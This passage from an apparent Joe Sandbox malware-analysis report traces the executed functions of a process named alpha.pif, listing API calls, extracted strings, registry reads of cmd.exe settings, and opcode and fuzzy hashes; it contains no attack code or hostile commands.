Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 1BC092B155A50D87517827C82C0A0B33554D633768F0C841FEC169A3A2DD9C5D4365AF

Analysis Process: alpha.pifPID: 940, Parent PID: 7852COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	2000
Total number of Limit Nodes:	11

Executed Functions

Function 00198572 Relevance: 45.9, APIs: 15, Strings: 11, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00198791: GetUserDefaultLCID.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00196906,0000001F,?,00000080), ref: 00198791

GetLocaleInfoW.KERNELBASE(00000000,0000001E,001CC9E0,00000008), ref: 0019859E
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000023,?,00000080), ref: 001985BC
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000021,?,00000080), ref: 00198614
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000024,?,00000080), ref: 00198653
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000001D,001CC9D0,00000008), ref: 0019867D
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000031,001CC970,00000020), ref: 00198698
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000032,001CC930,00000020), ref: 001986B0
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000033,001CC8F0,00000020), ref: 001986C8
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000034,001CC8B0,00000020), ref: 001986E0
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000035,001CC870,00000020), ref: 001986F8
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000036,001CC830,00000020), ref: 00198710
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000037,001CC7F0,00000020), ref: 00198728
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000000E,001CC9C0,00000008), ref: 00198743
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000000F,001CC9B0,00000008), ref: 0019875B
setlocale.MSVCRT ref: 00198770

Strings

dd/MM/yy, xrefs: 001AB362
Fri, xrefs: 001AB489
Sun, xrefs: 001AB4F9
Tue, xrefs: 001AB3E1
.OCP, xrefs: 00198769
yy/MM/dd, xrefs: 001AB349
MM/dd/yy, xrefs: 00198634
Mon, xrefs: 001AB3A9
Thu, xrefs: 001AB451
Wed, xrefs: 001AB419
Sat, xrefs: 001AB4C1

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: InfoLocale$DefaultUsersetlocale
String ID: .OCP$Fri$MM/dd/yy$Mon$Sat$Sun$Thu$Tue$Wed$dd/MM/yy$yy/MM/dd
API String ID: 1351325837-2236139042
Opcode ID: 9f0c252364704bf2b6261c4fdbfa289717e70fff67b83e7a7d6f421ac524a094
Instruction ID: 9c3accf7d20d72720308481c01f0de66fc8de84ab196e03a6b6bf05b9a832922
Opcode Fuzzy Hash: 9f0c252364704bf2b6261c4fdbfa289717e70fff67b83e7a7d6f421ac524a094
Instruction Fuzzy Hash: BEC1E579704292A6DF348F358E88B7B37ECAF56754F24012AE846EA586EB74CD41C360

Function 001A0207 Relevance: 9.2, APIs: 6, Instructions: 154
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,00000000,00000000,00000000), ref: 001A0297
FindClose.KERNELBASE(00000000), ref: 001A02B0
memcpy.MSVCRT(?,?,?), ref: 001A0311
_wcsnicmp.MSVCRT ref: 001A0367
_wcsicmp.MSVCRT ref: 001AE746

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Find$CloseFileFirst_wcsicmp_wcsnicmpmemcpy
String ID:
API String ID: 242869866-0
Opcode ID: 1323327dfe43e077fb4fee780b6da70f9b7ef1a3dc9051bf011baba41f29c5a6
Instruction ID: f504163ede72bfa97925494d4517b4fef18f937b81f583ddbf88ac157452e92e
Opcode Fuzzy Hash: 1323327dfe43e077fb4fee780b6da70f9b7ef1a3dc9051bf011baba41f29c5a6
Instruction Fuzzy Hash: 1851B0796083018BCB25DF68DC486ABB7E5BFD9310F15491EF889C3240E731D945CB96

Function 001A6EC0 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00016E70), ref: 001A6EC5

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e4ecb49bf7041c97c1c48806948eebf0523ec99017c2f3964740cd8c2df34c8f
Instruction ID: 40bb66ee1317b790b9bbb30ae5679053e7a699bb811d6a0f50c4f9cab25ce0f8
Opcode Fuzzy Hash: e4ecb49bf7041c97c1c48806948eebf0523ec99017c2f3964740cd8c2df34c8f
Instruction Fuzzy Hash: 939002A829310086D700E7719C0940577B15F496027854452F051C5454DB6C40445526

Function 001987CA Relevance: 49.3, APIs: 24, Strings: 4, Instructions: 270
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(001CCA04), ref: 001987EE
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 001987FA
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 0019880E
SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(001B7460,00000001), ref: 0019881B
_get_osfhandle.MSVCRT ref: 00198828
GetConsoleMode.KERNELBASE(00000000), ref: 00198830
_get_osfhandle.MSVCRT ref: 0019883C
GetConsoleMode.KERNELBASE(00000000), ref: 00198844

Part of subcall function 0019E310: _get_osfhandle.MSVCRT ref: 0019E318
Part of subcall function 0019E310: SetConsoleMode.KERNELBASE(00000000), ref: 0019E322
Part of subcall function 0019E310: _get_osfhandle.MSVCRT ref: 0019E32F
Part of subcall function 0019E310: GetConsoleMode.KERNELBASE(00000000), ref: 0019E339
Part of subcall function 0019E310: _get_osfhandle.MSVCRT ref: 0019E35E
Part of subcall function 0019E310: GetConsoleMode.KERNELBASE(00000000), ref: 0019E368
Part of subcall function 0019E310: _get_osfhandle.MSVCRT ref: 0019E390
Part of subcall function 0019E310: SetConsoleMode.KERNELBASE(00000000), ref: 0019E39A

Part of subcall function 0019A9D4: GetEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,00000000,0019A9C5), ref: 0019A9D8
Part of subcall function 0019A9D4: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000,00000000), ref: 0019A9F3
Part of subcall function 0019A9D4: RtlAllocateHeap.NTDLL(00000000), ref: 0019A9FA
Part of subcall function 0019A9D4: memcpy.MSVCRT(00000000,00000000,00000000), ref: 0019AA09
Part of subcall function 0019A9D4: FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000), ref: 0019AA12

Part of subcall function 00198B96: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000004,?,0019885E), ref: 00198B9D
Part of subcall function 00198B96: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019885E), ref: 00198BA4

Part of subcall function 00198273: RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Command Processor,00000000,02000000,?), ref: 001982D3
Part of subcall function 00198273: RegQueryValueExW.KERNELBASE(?,DisableUNCCheck,00000000,?,?,?), ref: 00198313
Part of subcall function 00198273: RegQueryValueExW.KERNELBASE(?,EnableExtensions,00000000,00000001,?,00001000), ref: 0019834D
Part of subcall function 00198273: RegQueryValueExW.KERNELBASE(?,DelayedExpansion,00000000,00000001,?,00001000), ref: 0019839D
Part of subcall function 00198273: RegQueryValueExW.KERNELBASE(?,DefaultColor,00000000,00000001,?,00001000), ref: 001983D7

GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 0019886A
GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 001988A5
GetWindowsDirectoryW.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,00000000,-00000105,00000000), ref: 00198987
GetConsoleOutputCP.KERNELBASE(?,?,00000000,-00000105,00000000), ref: 001989AB
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,001CC9F0), ref: 001989BC

Part of subcall function 00198572: GetLocaleInfoW.KERNELBASE(00000000,0000001E,001CC9E0,00000008), ref: 0019859E
Part of subcall function 00198572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000023,?,00000080), ref: 001985BC
Part of subcall function 00198572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000021,?,00000080), ref: 00198614
Part of subcall function 00198572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000024,?,00000080), ref: 00198653
Part of subcall function 00198572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,0000001D,001CC9D0,00000008), ref: 0019867D
Part of subcall function 00198572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000031,001CC970,00000020), ref: 00198698
Part of subcall function 00198572: GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00000032,001CC930,00000020), ref: 001986B0

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,0000020C), ref: 001989CD
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 001989D4
GetConsoleTitleW.KERNELBASE(00000000,00000104), ref: 001989E9
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?), ref: 00198A23
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 00198A2A
GlobalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?), ref: 00198AB5
GetModuleHandleW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(KERNEL32.DLL), ref: 00198AC0
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,CopyFileExW), ref: 00198AD1
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(IsDebuggerPresent), ref: 00198AE7
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(SetConsoleInputExeNameW), ref: 00198AF8
free.MSVCRT(?), ref: 00198B18

Strings

IsDebuggerPresent, xrefs: 00198AD7
CopyFileExW, xrefs: 00198AC6
SetConsoleInputExeNameW, xrefs: 00198AED
KERNEL32.DLL, xrefs: 00198ABB

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Console$Info$Locale$HeapMode_get_osfhandle$QueryValue$AddressCriticalProcProcessSection$AllocCommandEnvironmentFreeHandleLineStrings$AllocateBufferCtrlDirectoryEnterGlobalHandlerInitializeLeaveModuleOpenOutputScreenTitleWindowsfreememcpy
String ID: CopyFileExW$IsDebuggerPresent$KERNEL32.DLL$SetConsoleInputExeNameW
API String ID: 3313898297-3021193919
Opcode ID: 25de36c548135f6164a7730c1f80b04f65100edd9ecae307881b6b1233e4705a
Instruction ID: 4fac90d609145e5355a29b066c7d880ed340bce1c6ac3aa8895e7554f6c89395
Opcode Fuzzy Hash: 25de36c548135f6164a7730c1f80b04f65100edd9ecae307881b6b1233e4705a
Instruction Fuzzy Hash: 5B91BE71A02301ABDF14EBA4AC1AEBE37A5EF95700B44441AF506DB6A1EF70DD81CB52

Function 00198273 Relevance: 47.6, APIs: 18, Strings: 9, Instructions: 309
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000002,Software\Microsoft\Command Processor,00000000,02000000,?), ref: 001982D3
RegQueryValueExW.KERNELBASE(?,DisableUNCCheck,00000000,?,?,?), ref: 00198313
RegQueryValueExW.KERNELBASE(?,EnableExtensions,00000000,00000001,?,00001000), ref: 0019834D
RegQueryValueExW.KERNELBASE(?,DelayedExpansion,00000000,00000001,?,00001000), ref: 0019839D
RegQueryValueExW.KERNELBASE(?,DefaultColor,00000000,00000001,?,00001000), ref: 001983D7
RegQueryValueExW.KERNELBASE(?,CompletionChar,00000000,00000001,?,00001000), ref: 00198427
RegQueryValueExW.KERNELBASE(?,PathCompletionChar,00000000,00000001,?,00001000), ref: 00198498
RegQueryValueExW.KERNELBASE(?,AutoRun,00000000,00000004,?,00001000), ref: 00198526
RegCloseKey.KERNELBASE(?), ref: 0019853A
time.MSVCRT(00000000), ref: 00198554
srand.MSVCRT ref: 0019855B

Strings

Software\Microsoft\Command Processor, xrefs: 001982CB
EnableExtensions, xrefs: 00198342
DelayedExpansion, xrefs: 00198392
CompletionChar, xrefs: 0019841C
AutoRun, xrefs: 0019851B
p~du, xrefs: 0019853A
DisableUNCCheck, xrefs: 00198308
DefaultColor, xrefs: 001983CC
PathCompletionChar, xrefs: 0019848D

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: QueryValue$CloseOpensrandtime
String ID: AutoRun$CompletionChar$DefaultColor$DelayedExpansion$DisableUNCCheck$EnableExtensions$PathCompletionChar$Software\Microsoft\Command Processor$p~du
API String ID: 145004033-181855750
Opcode ID: e1bc1e7d19e362915e0b33f60464a3258956ff7b93db41c1a00e7012ea8db1ab
Instruction ID: afa8372a93c5bdc8dcc848fe255474b9c2a7fc36b60c79351fdaf0d93e6602ae
Opcode Fuzzy Hash: e1bc1e7d19e362915e0b33f60464a3258956ff7b93db41c1a00e7012ea8db1ab
Instruction Fuzzy Hash: F2C1A039905299EAEF329B50DD44BD977B8FF19702F1040E7E689A2090DBB49EC8CF15

Function 001A09B1 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 242
registrythreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 001A09CB
OpenThread.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(001FFFFF,00000000,00000000), ref: 001A09D8

Part of subcall function 0019E2AF: SetThreadUILanguage.KERNELBASE ref: 0019E2C6

HeapSetInformation.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000001,00000000,00000000), ref: 001A09ED
RegOpenKeyExW.KERNELBASE(80000001,Software\Policies\Microsoft\Windows\System,00000000,00020019,?), ref: 001A0A0A
_setjmp3.MSVCRT ref: 001A0A72
GetConsoleOutputCP.KERNELBASE ref: 001A0AA3
GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,001CC9F0), ref: 001A0AB4
exit.KERNELBASE ref: 001A0ADA
RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,DisableCMD,00000000,?,?,?), ref: 001AE9E1
RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?), ref: 001AE9EA

Part of subcall function 001A1F5B: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,0000001C,00000000,?,00000000,?,?,?,?,?,?,001AEF7C,?,00000000,00000000), ref: 001A1FB2
Part of subcall function 001A1F5B: VirtualQuery.API-MS-WIN-CORE-MEMORY-L1-1-0(?,?,0000001C,?,?,?,?,?,?,001AEF7C,?,00000000,00000000), ref: 001A1FCE

Part of subcall function 001A1F1A: GetConsoleOutputCP.KERNELBASE(001A0A41), ref: 001A1F1A
Part of subcall function 001A1F1A: GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,001CC9F0), ref: 001A1F2B
Part of subcall function 001A1F1A: memset.MSVCRT ref: 001A1F45

Part of subcall function 001987CA: InitializeCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(001CCA04), ref: 001987EE
Part of subcall function 001987CA: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 001987FA
Part of subcall function 001987CA: LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 0019880E
Part of subcall function 001987CA: SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0(001B7460,00000001), ref: 0019881B
Part of subcall function 001987CA: _get_osfhandle.MSVCRT ref: 00198828
Part of subcall function 001987CA: GetConsoleMode.KERNELBASE(00000000), ref: 00198830
Part of subcall function 001987CA: _get_osfhandle.MSVCRT ref: 0019883C
Part of subcall function 001987CA: GetConsoleMode.KERNELBASE(00000000), ref: 00198844
Part of subcall function 001987CA: GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 0019886A
Part of subcall function 001987CA: GetCommandLineW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 001988A5

_setjmp3.MSVCRT ref: 001AEA5E

Strings

Software\Policies\Microsoft\Windows\System, xrefs: 001A0A00
DisableCMD, xrefs: 001AE9D9
p~du, xrefs: 001AE9EA

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Console$CriticalQuerySectionThread$CommandInfoLineModeOpenOutputVirtual_get_osfhandle_setjmp3$CloseCtrlCurrentEnterHandlerHeapInformationInitializeLanguageLeaveValueexitmemset
String ID: DisableCMD$Software\Policies\Microsoft\Windows\System$p~du
API String ID: 4238206819-4036716130
Opcode ID: b91f48a2c5ba4f263f6519f9c2466ebff0e4558c15f93a8fe9c2f631fc1b7602
Instruction ID: 449445fb3098e925f3e935f87777d7afb7b09e7249941bf5c4b894c09fbf66fd
Opcode Fuzzy Hash: b91f48a2c5ba4f263f6519f9c2466ebff0e4558c15f93a8fe9c2f631fc1b7602
Instruction Fuzzy Hash: A9719479541305AFEB15EB70DC46EBF3BE9FF1A344B14052AF502E2591EB34C8808A61

Function 001A00E9 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 001A011A

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetModuleFileNameW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0(00000000,?,?,-00000001,?,?,00000000), ref: 001A0156

Part of subcall function 0019EC2E: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,001BE590,00002000,?,001D8BF0,00000000,?,?,00198F0D), ref: 0019EC51

Part of subcall function 0019EC2E: _wcsicmp.MSVCRT ref: 0019EC77
Part of subcall function 0019EC2E: _wcsicmp.MSVCRT ref: 0019EC8D
Part of subcall function 0019EC2E: _wcsicmp.MSVCRT ref: 0019ECA3
Part of subcall function 0019EC2E: _wcsicmp.MSVCRT ref: 0019ECB9
Part of subcall function 0019EC2E: _wcsicmp.MSVCRT ref: 0019ECCF
Part of subcall function 0019EC2E: _wcsicmp.MSVCRT ref: 0019ECE5
Part of subcall function 0019EC2E: _wcsicmp.MSVCRT ref: 0019ECF7
Part of subcall function 0019EC2E: _wcsicmp.MSVCRT ref: 0019ED0D

??_V@YAXPAX@Z.MSVCRT(?), ref: 001A01DB
exit.MSVCRT ref: 001AE621
_wcsupr.MSVCRT ref: 001AE683
_wcsicmp.MSVCRT ref: 001AE71A

Strings

PROMPT, xrefs: 001A0184
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 001AE643
COMSPEC, xrefs: 001A0198, 001AE705
$P$G, xrefs: 001AE654
KEYS, xrefs: 001A01AA
PATHEXT, xrefs: 001A0170
PATH, xrefs: 001A015C
\CMD.EXE, xrefs: 001AE6DA

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsicmp$memset$EnvironmentFileModuleNameVariable_wcsuprexit
String ID: $P$G$.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC$COMSPEC$KEYS$PATH$PATHEXT$PROMPT$\CMD.EXE
API String ID: 2336066422-4197029667
Opcode ID: a513a040e7af555d2024386eae6c41245f459fa96e3fb77615215998d9c53ad6
Instruction ID: cc0a0b414fa8415d759dbc61141ce78e6078cb5673f15207862e1d95d4518c55
Opcode Fuzzy Hash: a513a040e7af555d2024386eae6c41245f459fa96e3fb77615215998d9c53ad6
Instruction Fuzzy Hash: 60512839B002169BDF18DB60CD95AFE77A5EF66304F444869E80AE7280EF70DE41CB91

Function 00198BC7 Relevance: 24.3, APIs: 16, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001A5A2E: memset.MSVCRT ref: 001A5A5A

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000,?,00000104,?), ref: 00198C7A
towupper.MSVCRT ref: 00198C8F
iswalpha.MSVCRT ref: 00198CA4
towupper.MSVCRT ref: 00198CC4
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?), ref: 00198CF0
GetFileAttributesW.KERNELBASE(?), ref: 00198D93
GetFileAttributesW.KERNELBASE(?), ref: 00198DE0
SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?), ref: 00198E11
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001AB6AB

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: AttributesCurrentDirectoryFilememsettowupper$ErrorFullLastNamePathiswalpha
String ID:
API String ID: 1133067188-0
Opcode ID: 924aaf27c35e8ea2b3fbc609c9aa85f4577fe865661c66516a3fb8f7ab12f02c
Instruction ID: 8d309dc2ca68e20796151a6f6fd0160ad6edf42a1f5749782617e4eb23867b87
Opcode Fuzzy Hash: 924aaf27c35e8ea2b3fbc609c9aa85f4577fe865661c66516a3fb8f7ab12f02c
Instruction Fuzzy Hash: 35B1E035A082558ADF28EFA4CD95BFDB3B4EF16310F59416AE41AE31D1EB309E80CB51

Function 0019E310 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_osfhandle.MSVCRT ref: 0019E318
SetConsoleMode.KERNELBASE(00000000), ref: 0019E322
_get_osfhandle.MSVCRT ref: 0019E32F
GetConsoleMode.KERNELBASE(00000000), ref: 0019E339
_get_osfhandle.MSVCRT ref: 0019E35E
GetConsoleMode.KERNELBASE(00000000), ref: 0019E368
_get_osfhandle.MSVCRT ref: 0019E390
SetConsoleMode.KERNELBASE(00000000), ref: 0019E39A
_get_osfhandle.MSVCRT ref: 0019E3C7
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 0019E3D1
_get_osfhandle.MSVCRT ref: 001ADC35
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 001ADC3F

Strings

CMD.EXE, xrefs: 0019E3AB

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: ConsoleMode_get_osfhandle
String ID: CMD.EXE
API String ID: 1606018815-3025314500
Opcode ID: 849958ada580edd0a344c8a097a79c245a6477df6d9cefd0f9127258900a3147
Instruction ID: 50138d9931a005537641ea4e1e0d5545c619a4358ffbf2c4d838bfcae90f5f2d
Opcode Fuzzy Hash: 849958ada580edd0a344c8a097a79c245a6477df6d9cefd0f9127258900a3147
Instruction Fuzzy Hash: 962171B0A02300AFDB14DB34EC1FBA63BA4BF00715B484529F507D7AA1DBB5E9948F56

Function 001959C0 Relevance: 15.3, APIs: 10, Instructions: 270
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00195A10
